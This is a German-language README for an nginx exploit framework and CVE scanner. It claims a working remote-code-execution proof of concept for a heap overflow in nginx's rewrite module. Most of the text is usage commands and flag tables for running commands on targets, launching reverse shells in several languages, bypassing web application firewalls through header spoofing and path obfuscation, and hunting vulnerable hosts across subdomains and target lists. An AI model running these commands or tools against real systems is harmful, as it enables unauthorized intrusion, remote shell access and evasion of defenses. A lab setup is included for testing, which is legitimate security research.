
nginx CVE-Scanner + RCE-Exploit-Framework (CVE-2026-42945 + 16 weitere)
nGixShell ist ein nginx-CVE-Scanner und RCE-Exploit-Framework. Es liefert einen Proof-of-Concept für CVE-2026-42945 (CVSS 3.1 8.1 HIGH laut F5/NVD) — einen Heap-Buffer-Overflow im ngx_http_rewrite_module — sowie einen Scanner, der 64 nginx-CVEs mit automatisierten HTTP-Probes, Fingerprinting, WAF-Erkennung/-Umgehung, Web-Security-Auditing und Report-Generierung abdeckt.
Keine externen Abhängigkeiten. Reine Python-3-Stdlib.
Exploit-Voraussetzungen (zuerst lesen).
--cmd/--shellfunktionieren nur, wenn alle folgenden Bedingungen erfüllt sind: Das Ziel ist x86_64, die verwundbarerewrite+set-Konfiguration ist vorhanden, ASLR ist deaktiviert, und die Heap-/libc-Adressen wurden für genau diesen Build kalibriert (calibrate.py→--build-file). Siehe Exploit-Voraussetzungen. Der Scanner selbst hat keine solchen Voraussetzungen.
# Spin up the vulnerable lab (builds nginx from source, ASLR disabled)
docker compose -f env/docker-compose.yml up -d --build
# Auto mode — fingerprint + CVE scan + web audit (works on any arch)
python3 ngixshell.py 127.0.0.1:19321
# RCE — calibrate, restart the worker for a clean heap, then exploit
W=$(pgrep -f 'nginx: worker' | head -1)
sudo python3 calibrate.py 127.0.0.1 19321 "$W" --spray-path /spray \
--spray-mode full --json -o profile.json
docker compose -f env/docker-compose.yml restart nginx-vuln
python3 ngixshell.py 127.0.0.1:19321 --cmd 'id > /tmp/rce.txt' \
--build-file profile.json
docker compose -f env/docker-compose.yml exec nginx-vuln cat /tmp/rce.txt
# Drop a reverse shell (IP auto-detected)
python3 ngixshell.py 127.0.0.1:19321 --shell --shell-type bash --upgrade-shell --build-file profile.json
# Detect and bypass WAF, then scan
python3 ngixshell.py 127.0.0.1:19321 --waf-bypass
# Subdomain scan
python3 ngixshell.py --subdomain-scan example.com --scan-port 443
# Multiple targets from a file (one report per target)
python3 ngixshell.py --target-file hosts.txt --json --html-report results.html
Keine Flags erforderlich — sobald das Tool auf ein Ziel gerichtet wird, läuft alles automatisch.
TLS wird automatisch erkannt. nginx wird selbst mit server_tokens off gefingerprintet.
system()erfasst stdout nicht:--cmd 'id'wird ausgeführt, gibt aber nichts zurück. Verwende einen Befehl mit beobachtbarer Nebenwirkung und bestätige ihn mit--verify-url http://target/pwned(HTTP 200 = bestätigt).
python3 ngixshell.py [TARGET] [OPTIONS]
TARGET formats:
127.0.0.1
192.168.1.10:8080
http://192.168.1.10:8080
https://target.local
| Flag | Beschreibung |
|---|---|
| (keine) | Auto — Fingerprint + CVE-Scan + Web-Audit |
--cmd 'CMD' | Befehl via CVE-2026-42945 RCE ausführen |
--cmd-file FILE | Befehle aus Datei ausführen (mit ; verbunden) |
--shell | Reverse Shell starten |
--shell-type TYPE | Payload: bash python perl php nc powershell (Standard: python) |
--upgrade-shell | Nach Shell-Verbindung automatisch PTY-Upgrade senden |
--verify-url URL | Nach erkanntem Crash URL abrufen, um Befehlsausführung zu bestätigen (200 = verifiziert) |
--subdomain-scan DOMAIN | Verwundbares nginx auf Subdomains finden |
--cve CVE-ID | Eine bestimmte CVE testen |
--list-cves | Alle 64 CVEs mit CVSS und Probe-Info ausgeben |
--list-candidates | Heap-Adresskandidaten ausgeben |
--dry-run | Nur Fingerprint + Scan, kein Exploit |
--target-file FILE | Mehrere Hosts aus einer Datei scannen |
| Flag | Beschreibung |
|---|---|
--build-file FILE | Empfohlen. JSON-Kalibrierungsprofil aus calibrate.py --json -o FILE |
--offsets SPEC | Kommagetrennte Hex-Heap-Offsets aus calibrate.py (z. B. 0x5a427,0x60e67) |
--heap-base HEX / --libc-base HEX / --system-addr HEX | Manuelle Adress-Overrides |
--build KEY | Eingebautes Profil (nur die DepthFirst-Lab-Referenz wird mitgeliefert) |
--rewrite-path PATH | Verwundbare rewrite-Location (Standard /api) |
--spray-path PATH | proxy_pass-gestützte Location für den POST-Body-Spray (Standard /upload; das mitgelieferte Lab verwendet /spray) |
--spray-mode partial|full | partial: kurzer Body + große Content-Length (mitgeliefertes Lab); full: vollständiger Body + X-Delay (DepthFirst-Lab) |
--pad-a N / --pad-plus N | Trigger-Path-Padding vor dem +-Lauf (Standard 349 / 969, aus dem Vendor-PoC) |
--continue-on-crash | Nach einem unbestätigten Crash weiter die verbleibenden Heap-Kandidaten versuchen |
--tries N / --spray N / --body-len N | Trigger-Versuche pro Kandidat / Spray-Verbindungen / Spray-Body-Größe |
| Flag | Beschreibung |
|---|---|
--waf-detect | WAF vor dem Scannen erkennen |
--waf-bypass | Alle Bypass-Techniken aktivieren (führt auch Erkennung aus) |
--waf-ip IP | Diese IP in Bypass-Headern spoofen (Standard: zufälliges RFC1918) |
Bypass-Techniken (alle aktiv, wenn --waf-bypass gesetzt ist):
| Technik | Detail |
|---|---|
| IP-Spoofing | X-Forwarded-For, X-Real-IP, X-Originating-IP, True-Client-IP, X-Remote-IP, X-Client-IP |
| UA-Rotation | 11 echte Browser-/Bot-User-Agents, pro Request randomisiert |
| Pfad-Verschleierung | Doppel-Slash, /./-Padding, Prozent-Encoding, Groß-/Kleinschreibungsvariation |
| Header-Case-Shuffle | Randomisiert die Groß-/Kleinschreibung von Header-Namen, um WAF-Pattern-Matching zu brechen |
Erkannte WAFs: Cloudflare, AWS WAF, Akamai, Imperva/Incapsula, ModSecurity, F5 BIG-IP ASM, Sucuri, Barracuda, NAXSI, Fastly, Wordfence
Läuft im Scan-Modus automatisch. Alle Module können einzeln übersprungen werden.
| Flag | Beschreibung |
|---|---|
--skip-headers | HTTP-Security-Header-Audit überspringen |
--skip-paths | Pfad-/Datei-Discovery überspringen |
--skip-vhosts | Virtual-Host-Enumeration überspringen |
--skip-tls | TLS-Protokoll-Audit überspringen |
--path-wordlist FILE | Zusätzliche Pfade zum Testen (einer pro Zeile) |
/nginx_status, falls exponiert| Flag | Beschreibung |
|---|---|
--port PORT | Port überschreiben |
--tls | TLS erzwingen (standardmäßig automatisch erkannt) |
--proxy URL | Proxy: http://, https://, socks5:// |
| Flag | Beschreibung |
|---|---|
--user-agent UA | Benutzerdefinierter User-Agent |
--auth USER:PASS | HTTP-Basic-Auth |
--cookie VALUE | Cookie-Header |
--header NAME:VALUE | Zusätzlicher Header (wiederholbar) |